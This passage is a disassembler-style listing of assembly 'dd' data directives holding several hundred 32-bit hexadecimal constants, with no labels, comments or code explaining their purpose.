		dd 23FCBB2Eh, 8140722Ch, 1F689298h, 0B44349D2h,	39550640h
		dd 32057BB5h, 4B175B25h, 667877FDh, 7953D0C1h, 686B3E77h
		dd 528B6241h, 7C8D8F6Dh, 2386B9D2h, 912DFC35h, 0A7C34F12h
		dd 620D62CDh, 0AAB73AD3h, 374537BDh, 0D7A05F2Bh, 40AC0B0Bh
		dd 9B44958Bh, 0A3CD4F4h, 0EDB7D99Dh, 0AA81091Ch, 92EE4342h
		dd 0EA5FB3A9h, 95564A05h, 0AA1E9426h, 579881A9h, 0B69891B0h
		dd 99443897h, 3BB35DCDh, 39CE3C36h, 394ACE4Bh, 8649AA06h
		dd 0E56D1953h, 6D2AABE5h, 2220497Dh, 6DE23967h,	1C714903h
		dd 4174118Dh, 0B2B6823h, 0D90094E8h, 838E70F3h,	0BBBC7F1Ch
		dd 0E0B5FA56h, 375410Eh, 360E7108h, 0B4B90521h,	0E16F749Ah
		dd 0C088F4CDh, 17461976h, 1CB714A7h, 59638AF5h,	9997B4D4h
		dd 0CBFA2855h, 4EE8C654h, 0D28D62C4h, 0CF2697C6h, 0AE7CBC8Dh
		dd 9682C86Bh, 9AF09D75h, 0AFA74269h, 1231EB47h,	0B2EBA5E0h
		dd 0D28C40B2h, 0FDAC1830h, 69F3D20Dh, 6074E22Ah, 0A348D0C6h
		dd 9C56E0ADh, 0DCF4CD79h, 0EC04FC6Ah, 0BB10809h, 0E3B55B1Bh
		dd 4B3A3EC4h, 517F140Ah, 0FBE26873h, 0C7BF4ED6h, 7998764Fh
		dd 85792794h, 0C416757h, 0F2774BD6h, 0AD15A157h, 0DC59C0C1h
		dd 0EA2243ADh, 22702A0h, 6C42AB40h, 5F79577Dh, 599A564h
		dd 0BFAA3E7Ch, 95DF5C43h, 8374CA04h, 0E13DBA1h,	0C4716817h
		dd 0DA9CBAB6h, 60B07D8Dh, 0EB7A3656h, 0B0DE805Ch, 0C90C5FAAh
		dd 2C78B44Bh, 80347048h, 0B9705017h, 0BBDA5279h, 7B675E9Ah
		dd 0FD510989h, 0BF95801h, 8F0EF407h, 4BC9EA8Eh,	2823FFF0h
		dd 0B9E34B88h, 58207378h, 2A266053h, 0D52D9217h, 0A97802FDh
		dd 0B560921Eh, 8B10A451h, 45978E68h, 12919522h,	38106BB5h
		dd 311E1BC3h, 0F38D5395h, 664B38CBh, 82420801h,	9C13DFCFh
		dd 93086E03h, 0B2B54ADAh, 0C144E04Ah, 0B6FE2304h, 75E02B53h
		dd 0E0E99A26h, 15D925BFh, 182F737Bh, 99B4C2FBh,	41972EFFh
		dd 1EFA089Eh, 0D06E1FE7h, 1A68D883h, 0F0ABC446h, 168E7077h
		dd 3C1A7759h, 0CD6F28D9h, 0A3771793h, 2131E602h, 31967540h
		dd 5E9F14F2h, 65DDA59h,	20D437D3h, 43C3A1A7h, 0F1370F7Ch
		dd 0F1B03E7Ch, 0A49174ADh, 0B21A7F0Fh, 8FC441E6h, 544EA928h
		dd 0D794E2AAh, 75363D42h, 98286713h, 1FF7BEDh, 37D05923h
		dd 9779217Eh, 85A0B9BDh, 32BBAF15h, 25B30C9Eh, 6FB6843Ch
		dd 15AA40CEh, 0ACE9D7A8h, 515BD87Fh, 91A83822h,	29A33597h
		dd 0D0C80604h, 0B188F3E9h, 6271D6DBh, 0A2431D44h, 7C9C2B70h
		dd 2D7EB6CEh, 0C2B496A2h, 0BEB5611h, 99F4C7E8h,	87772018h
		dd 80841C33h, 0AA515651h, 4C70C3D0h, 0C7856CA5h, 7968DDC3h
		dd 0CA5CC052h, 0B04ABE29h, 5C4B0FC2h, 2DF65746h, 0E8B51BEAh
		dd 0BC7433DFh, 29E047A0h, 903EF7F1h, 277D96C1h,	7098565Bh
		dd 973EC206h, 15EC1CECh, 0D8C5AE82h, 45901E3h, 0BFDB8555h
		dd 0B9EA22FBh, 0CA03AD65h, 0BD3C5314h, 3B726BC4h, 18032DFCh
		dd 168401EEh, 0AB1992BBh, 0EA39F3AFh, 0C171C5E5h, 39568225h
		dd 658D7990h, 57D64420h, 669D1BB1h, 579D86A8h, 3EC5DAAh
		dd 9555003Fh, 61EE8BFEh, 0C84CAC73h, 96C57657h,	20FC447h
		dd 0E631529Bh, 0BAF50AD5h, 0DF761EF9h, 867FFB0Eh, 7BEDAE09h
		dd 6699F350h, 642CD7C3h, 43D0C75Dh, 0A371E03Bh,	0F64C21D1h
		dd 0AC865E2h, 97BFA863h, 5D84D969h, 4EEF4029h, 181E3F21h
		dd 0F184023Ch, 0E694BF40h, 0F598211Bh, 168014F2h, 0BCC14C4Ah
		dd 0DFBB041Ah, 458872DAh, 0B5B16059h, 168B1F5Ch, 2EA4EF13h
		dd 8AC564AAh, 98874E63h, 86ED98AAh, 586CF25Ah, 3B707476h
		dd 0FF737086h, 97CB2067h, 0BB26EA5Ah, 0C73E403Eh, 4CFDFE1h
		dd 8EB0A708h, 41561CE4h, 8F31396Dh, 96708EE5h, 5DE2E49Ah
		dd 0EC03FBC1h, 0D2903DCEh, 9D73B674h, 2708CC23h, 2693F24Dh
		dd 0C6EDE545h, 0E236E2B7h, 0D605E9AAh, 0AEFE550Dh, 38B05AF4h
		dd 1B98F7F1h, 0EF2C173Bh, 7017DAA6h, 0ECB00175h, 0C3E5F3C8h
		dd 0E4494728h, 8CBA9A48h, 0E69C6DC0h, 3D178D13h, 3FEB793Dh
		dd 0B1D394E6h, 50155289h, 6B2D53B0h, 87B5C612h,	4AA12D6Bh
		dd 53262517h, 0DC077D77h, 41452B44h, 0A42CF4E6h, 6CC5707Bh
		dd 29E3AC4Ah, 0F7A23499h, 4BE177C1h, 9E94CD07h,	0ADD8DDCFh
		dd 77EC876Eh, 0D959DBCFh, 0A288F328h, 5BEAD57Ah, 1CF60D09h
		dd 5A6AA437h, 0A1226743h, 65B51CD8h, 0C50300F2h, 0BAE8DB8Ah
		dd 50800DC8h, 0D6FE3964h, 0A27AD340h, 0B2A630E8h, 20417E5h
		dd 17C49667h, 247623DDh, 0E78C1B50h, 52AD1CAEh,	57765968h
		dd 0E1100A2Dh, 0FCD09E67h, 8677123Bh, 0FF224301h, 9D03AD7Ch
		dd 9D947E6Ch, 67BEF8A9h, 0F1C87542h, 3FD0294Eh,	591ED4C1h
		dd 375E5C5h, 84AD774Bh,	911B5C6h, 64A6D95Ah, 0E4CF19A5h
		dd 3683045Eh, 0CB9DB606h, 0BFC8866h, 0E66EAA47h, 9E974F6Bh
		dd 4CE831BAh, 92113CB0h, 7295F93h, 4CC9DE25h, 0A6F1E02Bh
		dd 0E85F185Eh, 69383A6Ah, 73DC91C7h, 3E108F3Eh,	389038EBh
		dd 0B090E83Eh, 0EFA40B24h
		dd 16FAED60h, 58F712A8h, 31870B0Eh, 0DA1F8436h,	0DC25E7A6h
		dd 0DF68DE05h, 0D898E27h, 22FE508Fh, 2E04C0A2h,	0A46C0FFCh
		dd 9CEB5A63h, 6F4E0C45h, 0E5BDFC6Eh, 0E0CB39DBh, 0A09CFBE4h
		dd 0C63516E5h, 97D1A227h, 2F3C7227h, 5F099027h,	713CB6AAh
		dd 87B5BD97h, 2B2A1BF4h, 178BE158h, 0BDA166FDh,	449C862Bh
		dd 11B0F311h, 77AE29EBh, 0A208234Ch, 73AD8DD6h,	0D1D2104Fh
		dd 0F25A1568h, 2416D2E1h, 0DD3245D2h, 0B947DB23h, 54C30736h
		dd 0D873FF35h, 632BA0B9h, 0CC80A1C8h, 33487F0Ch, 3E877D7Dh
		dd 0BE7E9FE5h, 0D7B6E26Ch, 0AA789B6Eh, 0AC1EC34Dh, 3EB0BBF7h
		dd 0B3AF7443h, 8A57147Eh, 61B26465h, 95581CF8h,	6030FD58h
		dd 2C6DA18Fh, 9AECEDBCh, 8E5DB139h, 5A804C95h, 540FDC26h
		dd 83C6F6D5h, 53AF4C83h, 68B38354h, 3340D84Ch, 0DA6560DFh
		dd 0E571690h, 4AF809Ah,	7CE90B90h, 0D5B7DA99h, 60C33D0Bh
		dd 8250CAF3h, 78E68F4Eh, 6557697Dh, 0FF33C04Bh,	0A9A32C15h
		dd 804CDD71h, 3CA55CDCh, 0C3DC1DBCh, 0D1879907h, 22A22A42h
		dd 0B4D8FF9Ch, 51B1E89Bh, 6822C79Ah, 626403FAh,	377C262Ah
		dd 16FD27ACh, 1EA0DB35h, 0F34F60CBh, 1659FE9Dh,	300249F0h
		dd 0CC4568DDh, 1BE9A7DEh, 9B18F3CAh, 38163874h,	2BEDB9A5h
		dd 0C33DBF71h, 10029A6Eh, 0F6E71659h, 5EE0A81Ah, 9288D019h
		dd 76185217h, 0E95E76F8h, 4F207887h, 1638FB26h,	320F6E9h
		dd 6CEE7225h, 1CBE40EDh, 7DA4DDCh, 1C6E41EBh, 86283599h
		dd 0B2E93E4Ch, 678EDCC4h, 5A7795C1h, 0FD7E6D25h, 20CCDA99h
		dd 29D72A6Bh, 0F6DE627Eh, 3B0E25Ah, 3EC97ECEh, 0D927680Dh
		dd 0EC391319h, 51A0B498h, 445BFCB0h, 8BFFA2A8h,	0B8F8AA68h
		dd 8990A14Ch, 4C28AE38h, 33E7679h, 487F8184h, 8240380Eh
		dd 5C200789h, 0CDCA1349h, 63AD31BFh, 0D06FEEh, 8259034Ch
		dd 0A713A85Eh, 87C121B6h, 1E68BAF7h, 0A6100F17h, 96E92E36h
		dd 0EF4FF108h, 3C53CE0Eh, 0C13347Dh, 7B95ADE0h,	0AC8D9BFCh
		dd 0CE2CDF56h, 0A4350447h, 81D64AC0h, 830F6AFCh, 0B19C8B2Eh
		dd 0A8DBF267h, 0E0783871h, 1F55199h, 784C295Eh,	0F82DD0A0h
		dd 0ABCEAC80h, 713BFCBh, 2D40828Eh, 9685684Dh, 0B7980840h
		dd 15EC174Dh, 3B4FEC67h, 4EEEE79Dh, 7B5B1631h, 0D822579Dh
		dd 91BC3360h, 0DAF46A95h, 0A3B7DED2h, 5AC79D7Eh, 0D1BE3748h
		dd 63967718h, 205921C3h, 3A957C6Ch, 4857407Dh, 70ABD881h
		dd 0EFFA800Bh, 7738CFAh, 40A504DAh, 450BB896h, 0C47BF20h
		dd 36D0488Ch, 6A847716h, 87D3993Bh, 8C89BA69h, 3B0C9CB1h
		dd 0F9E1BE2h, 44366215h, 786F09C5h, 0A92EB50Ah,	6FCD94A2h
		dd 15C8E147h, 9D659A6Eh, 40A4337Eh, 76E033D6h, 0A51444C9h
		dd 775A2A90h, 8E751E80h, 0F8101094h, 24955AA9h,	73759BBCh
		dd 98B62AEBh, 62D91403h, 391953FFh, 0C129BCAAh,	348A460Bh
		dd 5B9D9AEAh, 27440F44h, 733CDF8Ah, 8291AFD4h, 5307AA87h
		dd 78800855h, 0FD071C25h, 708201BEh, 0C28B5B5h,	422FD6F0h
		dd 4EF328BCh, 5499951h,	0D8F5CE43h, 9450D8EDh, 0A5EAB218h
		dd 464A9BA3h, 0B1877F08h, 0FEEB22A1h, 2248C5EEh, 65B9EAD8h
		dd 98EF9569h, 1942A193h, 0EC6B8831h, 96AE9FE1h,	40259828h
		dd 90B16D0Bh, 0D4DD93A3h, 22F6CEB6h, 49425516h,	0CDA12817h
		dd 33A8CFA3h, 8B7539F0h, 0C9B7A895h, 595CC6F5h,	22E96C5Ah
		dd 4F8D16ECh, 390C7894h, 0E5A2B9FCh, 29DEE718h,	0CCFF420h
		dd 414AFE71h, 0A80E55D6h, 5B830261h, 0EAD2020Ah, 0E8A74D2Ch
		dd 0ACA213A3h, 67149D5Eh, 3DC4FDE2h, 8C330877h,	0BF21EDBh
		dd 5D40D64Dh, 0CA879AFBh, 0D4D80256h, 84C889A4h, 72EF5BDCh
		dd 0CAC8E970h, 0DAEA328h, 0A74A2163h, 0ADDE5422h, 0AD87E1E5h
		dd 1E933DE8h, 27621870h, 6AE75D4Dh, 3FECCF03h, 876A7C84h
		dd 6AE935FAh, 90FC5740h, 0D9A42C12h, 9F748776h,	0A25B5B64h
		dd 4A31E78Fh, 5C07CFF9h, 0B26EC3E3h, 0D3C45BAh,	30AA9ED5h
		dd 0EB9232F1h, 5525CF0Fh, 0C32DCD23h, 0CB192885h, 979692ADh
		dd 7035CC98h, 0D6700F2Ch, 0F334B027h, 0C84575Dh, 1919D249h
		dd 393C9546h, 78C02785h, 0E08A2106h, 0E1269DD5h, 0CD77E462h
		dd 63843D00h, 72E660ADh, 475B7CDEh, 0DA61744Dh,	7F780B93h
		dd 5344563Ch, 0F7FE6583h, 2627A54h, 99181CD9h, 11D52AEDh
		dd 77880833h, 4828DE8Eh, 853D3AA7h, 6D4A6E28h, 0FAD16B80h
		dd 4E3C2EBFh, 0E187137Bh, 0C41FA494h, 250B8A78h, 72A33E04h
		dd 0DF129BC1h, 34074C74h, 29D3CE7Dh, 0C7C02C99h, 0CC4C7D7Ch
		dd 1919E42Bh, 70CD002Ah, 0ED72DC4Ch, 47B30797h,	5E09ED23h
		dd 6235386Dh, 0B53F58EFh, 36367C20h, 61E1FC1Bh,	10D00A32h
		dd 393006A4h, 0CEBE0EECh, 190F104Fh, 0AF5C183h,	2875D495h
		dd 2CE61E36h, 0B2D534E3h, 35898B1Fh, 37421BC9h,	5FF8838Bh
		dd 0A7E58787h, 0E603C6C4h, 83958908h, 5D366AD5h, 5743A88h
		dd 22AA5600h, 0BBB5C120h, 0A68B08A1h, 0F9547E14h, 0CC69E622h
		dd 65A082A9h, 4D222013h, 3EA1177h, 835A96EFh, 0FF00EA01h
		dd 81BE0367h, 71D1EA3Ch, 3A967A5Eh, 0A2AA2458h,	0B53D268Ah
		dd 27744D78h, 3E67D729h, 4FDFD273h, 2F0CDA98h, 8E3562E1h
		dd 73AC398Dh, 1727B959h, 6457EB76h, 69CB4DB6h, 9F63898h
		dd 0CA6AFD14h, 3230CDB9h, 7D7A7DE6h, 1C9DDFF8h,	4BE94535h
		dd 0A97364DFh, 949D3EBDh, 8E7995E3h, 5F280A03h,	8695B604h
		dd 2E9EF2E1h, 0D8B586CEh, 0CC7428C2h, 0DE566C47h, 421EBB9Dh
		dd 0F22325C5h, 2AD7D969h, 0E0823F97h, 0DE42EF2Ah, 0C2143AE3h
		dd 0B07DA648h, 80A8A908h, 66046A0Ch, 1E958EBAh,	14E63A29h
		dd 0DE142A4h, 0ED085F89h, 0B909FB81h, 0E2937974h, 0E1F7EBA9h
		dd 0FF6F5264h, 275FCCD2h, 7769CCD7h, 0C5D4F572h, 3AB7FAD9h
		dd 2511A4FDh, 2F318CA6h, 2809A9C2h, 28597569h, 0AB7DCE55h
		dd 0C7C36A2Eh, 6DA813FCh, 55262A7Dh, 0EA0C74EBh, 0E816C290h
		dd 71F42A37h, 0EEBFC2B7h, 0C243202Ch, 891FB262h, 3C3BAF8Eh
		dd 68AF180Fh, 804E6D4Eh, 0D1117614h, 0F8165262h, 454101D4h
		dd 0D8D3BA32h, 0A9E12978h, 0E2C26BCAh, 24CAA166h, 59385E65h
		dd 0FC8C361Ah, 89377F94h, 8F9323C4h, 0D5CBBE06h, 961CF33h
		dd 9A0E64D9h, 3F001282h, 0D20FB581h, 29A2B53h, 881B8950h
		dd 0B40C5FDh, 0C64714B3h, 0C73E3E0h, 7D693061h,	97A8D710h
		dd 7A92C606h, 457BC4B2h, 3BC2DCA7h, 0C7268EFFh,	25D39BB0h
		dd 554DD1B8h, 0E998A607h, 73FA354Dh, 2F73C1DDh,	21347B22h
		dd 168A550Eh, 0C5F54D0Dh, 0D5643351h, 2235E7C3h, 0AA0F0BD2h
		dd 0B3B36219h, 0FB020F0Bh, 0CEC80B19h, 5018B015h, 71E7B597h
		dd 737AD759h, 3AE490EFh, 1F9A0F25h, 0C1C1EFC0h,	0B69A2C7Fh
		dd 13B73784h, 0FD41EE09h, 6DBD9610h, 5F4C3F10h,	16749875h
		dd 69386EF5h, 24A6A24Dh, 0C0227F93h, 29B39C67h,	0FDA29B61h
		dd 0E0B54328h, 772822F9h, 90FCE488h, 1BF8D501h,	993BF376h
		dd 0E37F2074h, 17BEB1FFh, 9F30BDECh, 651D882h, 697D0480h
		dd 9FEA0CF4h, 7A3D83CDh, 3F60B31Ch, 24ACED69h, 0DC9751D8h
		dd 580622F6h, 0DC6AC196h, 8706C68Fh, 0B5681905h, 0CBC2EC3Fh
		dd 4AEDA94Fh, 0E824634Dh, 58CDF89Dh, 0A6D1972Bh, 0E5BD9807h
		dd 20AB92B4h, 754BB75Ch, 0FABFB3Dh, 0E0904C2h, 0D1D79514h
		dd 0C1A358ABh, 17CE09BCh, 695D1210h, 0D17B2FE9h, 6200C062h
		dd 0C2D11176h, 70BAFFD6h
		dd 980D6240h, 6F019875h, 684D689Ch, 0C2D98936h,	0A47BE406h
		dd 0FA6C185Ah, 9624C185h, 43C6FA66h, 252C8C34h,	290EAF87h
		dd 63312785h, 4C28997Bh, 8AF56B04h, 0AEA0150Bh,	0D4A7CA2Fh
		dd 18E916F3h, 49CB2839h, 0D9C36E8Ch, 91E31DC3h,	0A64787FAh
		dd 88E6777Ah, 0FA23629Ch, 44EED5E4h, 535DA23Bh,	529CCB8Eh
		dd 9F47C5B1h, 0A7F1EDE3h, 0A171FF0h, 703C4018h,	6E3D4683h
		dd 1676DD0Bh, 0F36F80AFh, 468FA232h, 0B5AA8921h, 7F9D9269h
		dd 0F668D4A8h, 6F0A710h, 2D1AE7A3h, 0C08A21DFh,	0B24DE684h
		dd 0E2CBF536h, 3997D72Dh, 0B0A5BAE7h, 37E53F15h, 0AC26FE70h
		dd 72513B1Fh, 72C1F721h, 6AC43C0Ah, 338CBB64h, 5441BC8Ch
		dd 7AA434B7h, 0CF32F525h, 0D40B9019h, 50761817h, 3DDA2E92h
		dd 336FE65Ch, 373EE089h, 4A2F9BA5h, 8C71E1F9h, 346DAB9h
		dd 6B16F30Ah, 75A96F0Ch, 0FBF00B7Eh, 52CA0FBEh,	0D8E84239h
		dd 0B315FDF7h, 7D84AAC1h, 0B8CB70DAh, 0F2DA3FCBh, 8E74B995h
		dd 0C44227AFh, 0F6FEBF6Bh, 0B57C7D69h, 3AA06866h, 6DC00A3Dh
		dd 0E4FC1F14h, 4F50D865h, 0A7F180B9h, 35AC06Fh,	0F2DCBF99h
		dd 23AC4552h, 64138CD0h, 27DFCB93h, 0D30373B6h,	8B8FF2E8h
		dd 37C0A8D4h, 7DE4AB39h, 0A62F59A0h, 0AC628F0Fh, 0DDBC268Dh
		dd 0CBC90D1Fh, 99C438EAh, 97C4723Dh, 1BDE27D8h,	542B3D4h
		dd 93B9081Ah, 1A6674DEh, 7EEAFC1Fh, 7A1C91C7h, 8DD0BF24h
		dd 7101699h, 61C92073h,	7DA8FFBDh, 39BB2155h, 0A84DEFDAh
		dd 5ABF56FBh, 0C769CB23h, 6939AF9Bh, 8C54097Fh,	0FF16C108h
		dd 7FD50477h, 452BE134h, 10536640h, 7376D590h, 0F4B0F457h
		dd 543AAEF2h, 8E41C4FBh, 7164FEB3h, 0F1CB64E6h,	87E86181h
		dd 0D7EC3BDEh, 0D488903Ah, 5FD51C9Ah, 8CEC96DBh, 4B7928Fh
		dd 985C1DF9h, 2BE846F4h, 0C45914A0h, 43D28501h,	2BED3197h
		dd 0C616E0A1h, 2EA713E4h, 0F8E4954Ch, 0CF6AA1D5h, 0EFC74404h
		dd 0B5A53649h, 69A936ABh, 97C173E2h, 46498C33h,	0C2637FB3h
		dd 0B590D8BAh, 4747C22Bh, 4BA796B8h, 237CD661h,	0C0B566Fh
		dd 0B551A733h, 278A9FB5h, 76709505h, 2EA4AD6Bh,	8739A4C7h
		dd 49A190F8h, 5FA8658Bh, 5FD8D76Bh, 0AD756DA6h,	72300F5Fh
		dd 67FC7B34h, 5637C7E9h, 0A73B108Fh, 6634E183h,	9DA6613Eh
		dd 3990A707h, 0CD3E01A7h, 31A316AAh, 0B80C5FB0h, 27201F55h
		dd 603B6608h, 0DD781F86h, 2FB12B41h, 0F9DF2F31h, 8FE01E52h
		dd 8584FBC1h, 0E5454852h, 0EC1EB79Dh, 0A9BDF32h, 0B2DFD2CCh
		dd 38B27BA9h, 0A48945B7h, 469837C6h, 0BB4A647Ah, 846620BFh
		dd 0F2BBF18Eh, 0C6D23243h, 8BE40DC0h, 57602166h, 0B18B91D1h
		dd 6DCC62B0h, 26EE3C9Dh, 0AAA4DB7Bh, 0C2927374h, 5E2807C9h
		dd 0C0C4B2B1h, 627A90B0h, 9A0F38F8h, 4143C2AFh,	3D4AC9ECh
		dd 5067ECEBh, 0F1FF5509h, 0CC175FCAh, 46F50DBFh, 79AEDB0Ah
		dd 0C9127850h, 1091F808h, 1018553Bh, 30B788A2h,	92843AC5h
		dd 22FF2ED7h, 883994D9h, 4D9DE25Bh, 82AAE6B9h, 5E2475C3h
		dd 6B60BC1h, 0F2A72051h, 0BE813015h, 0BA8CC762h, 0F3E7C6DAh
		dd 934C09F5h, 37061781h, 93C526B5h, 6B4D1E8Eh, 1C8C554Fh
		dd 0E4088FDCh, 8F2E21E2h, 42F783A6h, 1A903D9Bh,	86DCDBACh
		dd 64E26BECh, 303B90BDh, 0ECB1401Fh, 0B9CE546Ch, 5CA4E9A4h
		dd 7701E556h, 634B4448h, 0AA3E617Ch, 87473F12h,	0BEE7B88Ah
		dd 7811885Fh, 0A7A9309Ah, 0BAF282A8h, 0F8895083h, 516767C9h
		dd 0B07645B4h, 97641DF9h, 0CC475759h, 7C13222Bh, 0F48EB6A0h
		dd 2FF4F8DAh, 4BF007A5h, 5A0AAEBBh, 0C38685C7h,	7F0AFABEh
		dd 0D82007A2h, 99E80CA2h, 6109088Ah, 0D124BC95h, 0CCFA540h
		dd 733B38BAh, 3635E9E4h, 90BA8403h, 47600E05h, 3B456FF0h
		dd 13F9D163h, 3B99B13h,	831DB09Ch, 3E7F2641h, 0A643F45Dh
		dd 4647D51Ah, 0EB512E18h, 27442BE2h, 0D5FD9D98h, 120BB361h
		dd 0E26760D7h, 6CFF1BE2h, 0C87FB91Ah, 0A0D89A6Bh, 32969B0Bh
		dd 83903014h, 4F1661CEh, 0B69EE313h, 9B414444h,	4D4389EAh
		dd 835A3218h, 7DE70A2Eh, 4E27A761h, 0FF256283h,	183CFF3Fh
		dd 8CA5C467h, 0F85C9B85h, 49B173B8h, 13421953h,	0ACA36417h
		dd 6FD2FBDEh, 0DE13EB1Fh, 46D57E24h, 601B0821h,	0B29D8C05h
		dd 0BF747ACBh, 50DC2053h, 72478BE3h, 0DB2B8696h, 0C6C6EE06h
		dd 67B68D22h, 0D6537DC4h, 67F4A4B9h, 2E26CD27h,	945446CAh
		dd 39D12D3Dh, 4915D328h, 97A5676Bh, 8A4D4DDDh, 0EF42CBBBh
		dd 41D500E8h, 0F2C3C484h, 924F9DB5h, 5FD8259h, 0D3DB2DBBh
		dd 21F8A3Ch, 8D89D4B2h,	8C5CED69h, 0C6A65762h, 50DAEE11h
		dd 593B0EEBh, 286B8719h, 36CCC0Ch, 795A6877h, 5A0C8C3h
		dd 0F9C28810h, 0B71CA71Dh, 13F0DFFh, 885AA1CCh,	37F07BDCh
		dd 98962F55h, 5597526Bh, 33FD660h, 0CA3408FBh, 0E3C00ED4h
		dd 659FCE74h, 0D181037Ch, 3BD9D417h, 0ADBC7507h, 0BCE040D4h
		dd 85AA1262h, 727026D8h, 51724BF0h, 8391E0Ch, 1CF90683h
		dd 2058C363h, 20C30798h, 0AC665B14h, 0E3847557h, 77ABC88Fh
		dd 0FC54677h, 24C39EBDh, 85882700h, 3070B9F6h, 0AA68E9B2h
		dd 6E073B68h, 70051DE8h, 810A6E3Fh, 0E674C879h,	0A0CFC09Bh
		dd 0AEBBF43Dh, 216872BFh, 0CE808595h, 0D1D9858Eh, 69F36B4Bh
		dd 60A5D37h, 6F79200Ch,	1899130h, 0E5427586h, 34486D5h
		dd 52092002h, 79363C02h, 0EFAAF6ACh, 15A3B4DAh,	0FF27A6Ah
		dd 0D804CE33h, 4DE86157h, 54048728h, 38502F51h,	8D998A27h
		dd 0A983B221h, 0F7D3F193h, 87222585h, 13AC5CE8h, 6DDA3C14h
		dd 0CC9F773Bh, 9FFD0C0Bh, 0A610A590h, 9F1DA95Fh, 99AB80A4h
		dd 0AE32EA1h, 692D83E7h, 8FAB885Ah, 0F97F35BFh,	0C0BBE7A7h
		dd 0E7A0E935h, 0FF19F7A4h, 5307A618h, 0B8B19C58h, 183E598Fh
		dd 334672ECh, 0C332828Dh, 90648781h, 3FF9387Dh,	0B0139EACh
		dd 206845CBh, 8AEE2E43h, 0DFF5CC01h, 123A9176h,	76533F65h
		dd 0F104F252h, 0E8E319D4h, 408756A5h, 71C0FC52h, 310CBAF4h
		dd 8C4045E5h, 72762355h, 0F6E91DB6h, 55D6D8CEh,	595EB42Dh
		dd 9D8F43E9h, 384AC7C9h, 669D280Fh, 0F2EED779h,	78854C8Bh
		dd 0F227CBE8h, 9963B9E7h, 67CA8543h, 0FAAECCC9h, 0F5D0FE4Bh
		dd 6970C9EEh, 481046B8h, 86A62E5h, 1DBD316Bh, 7387B316h
		dd 0FCB7AE59h, 0C49CB8A8h, 1C5D642h, 0CEF2CCD8h, 2BA8DD2Eh
		dd 5694531Bh, 2CD72886h, 4F6DC72h, 6057E539h, 5043D85Ah
		dd 9D389216h, 92A9914Ch, 0D7199FBAh, 5405C6A7h,	5F0609EAh
		dd 7D34ACC3h, 3BB05D08h, 0C073E420h, 6C3E906Eh,	0E4D16BE6h
		dd 9780FE03h, 88199D32h, 0A11DDA67h, 0A9275D4Eh, 0FA6ABDB3h
		dd 0E4F6625Ch, 0CD8F9BB3h, 35BC668Dh, 0EF8C495h, 264F155Dh
		dd 583D4ED4h, 403551D8h, 58FBAEDEh, 0F4D125BCh,	0F690768h
		dd 0B298C198h, 0F106657Eh, 3A9BF396h, 8DFE8765h, 9AC8E2A8h
		dd 3305B9A8h, 0A8BE6CB5h, 0C7600967h, 0E8562D35h, 1E231A71h
		dd 1A9BFE3Dh, 0A7119358h, 70541662h, 44FF3F76h,	305014D1h
		dd 5D56C464h, 8AC07705h, 0BE18D6DCh, 25973BF6h,	66583C90h
		dd 0D93484FAh, 31693C17h, 40ADFB1Dh, 447C948Eh,	0F73A2E4Bh
		dd 2838217Bh, 0AA84D38Ch, 38581CA8h, 39F758Bh, 0ED58DF90h
		dd 6346263Fh, 3C68EEFFh, 62368ED0h, 0C9FE64E5h,	0AD77107Fh
		dd 9CD71BA8h, 0A965C149h, 4B18E9FFh, 7A7A8D8Ah,	0A1E9147Ah
		dd 968B7794h, 0C6F0CF63h
		dd 5B458C94h, 0CAAC4FF0h, 73AB49EDh, 2A44625h, 0A1475604h
		dd 0B7F4F848h, 5DB71BB0h, 0B504005Bh, 0EAA2F41h, 1C4FAB9Eh
		dd 0F7EB7AC3h, 5781DE5Ch, 4E1CBF98h, 0F2CA5DF3h, 648098Ch
		dd 597B4334h, 3DCADF8Fh, 0C9EA121Dh, 0A8787F01h, 79B714CCh
		dd 703D99FFh, 44A4CA94h, 9A2D6E19h, 0CC9D25DCh,	0C0564078h
		dd 0D8803122h, 0C8099AAh, 562CF3F0h, 14B186D7h,	6A38E9C3h
		dd 0FC203D7h, 37CDD221h, 0C8B8E4D6h, 0E192A0D1h, 0CED1F7F6h
		dd 2BE7E961h, 4F562DDDh, 43DEEB97h, 1F8DFDF5h, 92650125h
		dd 0B1B5AA1Ah, 8E94750Bh, 321CB2FDh, 6E783B62h,	0AF7C9B0Ch
		dd 0E8D15281h, 1A2C5633h, 0EDBF6798h, 0C2167B56h, 249CDDC9h
		dd 52D4F032h, 8C38555Ch, 2F9F5223h, 6DC696B3h, 2A82126h
		dd 1C0972B4h, 0B99ADCD3h, 3309290Fh, 0FCE60D6Eh, 6A6DD68Dh
		dd 190D08B1h, 0BB80CAEBh, 63904E8Ah, 95EEA40Eh,	0F3BC2331h
		dd 71FB0A8Ch, 4BEAD352h, 9D207267h, 0E2158DA4h,	0E33C5D24h
		dd 9862717Fh, 900E574Dh, 658A844Ch, 2807064Dh, 4760C654h
		dd 4FB70E3Dh, 242DB7B3h, 57A7CBEh, 10F362E8h, 3E698D65h
		dd 1EE03BE8h, 75904502h, 429D4AF9h, 0DA9C26A4h,	278F2492h
		dd 52FFB67Fh, 0C3012DC7h, 5D0D3C9Fh, 82225755h,	0CDA1B68Dh
		dd 3632BADh, 774A83A7h,	0C6849ACFh, 825E393Dh, 0D92442BEh
		dd 6FDC86E1h, 9986E516h, 0B33309E7h, 0D625A155h, 0EF82CF2Ah
		dd 0FD8CBC21h, 7B292541h, 7D7DF067h, 0A0D860E6h, 24BB97DEh
		dd 4B7733DDh, 69DFAA41h, 2854E8FDh, 0AFA579E2h,	9C5518B9h
		dd 0CEB43F85h, 11F3F38Ah, 66E357CEh, 0A6DE2F22h, 0C741D49Eh
		dd 0F0108B13h, 283E63AFh, 0C52A86D2h, 0E34BF055h, 0D9CD7930h
		dd 97007B3Dh, 11B6AE17h, 218ED71Fh, 56131878h, 5B87D74Dh
		dd 0E6362B50h, 47801856h, 624E8086h, 0AE83A8CDh, 63DD3039h
		dd 632762C8h, 0AB878EA5h, 6461458Dh, 0C6793C8Eh, 0BC5A8754h
		dd 0F283A657h, 0DA8B0B92h, 5FBE9F9Ah, 36ACD43Ah, 9338E07Fh
		dd 987A2546h, 5E0A4A35h, 9A940AABh, 339AD2E6h, 3FEEBE94h
		dd 90ECA0CCh, 957FE30Eh, 9F832D73h, 182E4A8Ch, 5264F818h
		dd 418BF1C7h, 0E28FAC2Eh, 0EDE438DEh, 0C9C72732h, 0A947F837h
		dd 1AC5A830h, 7D2DBC19h, 0F21BB39Eh, 774ACE4Ah,	0AC2647D0h
		dd 0DB94FB45h, 44ADEAE3h, 0B3BD277Bh, 890A3B47h, 0D8EF022Dh
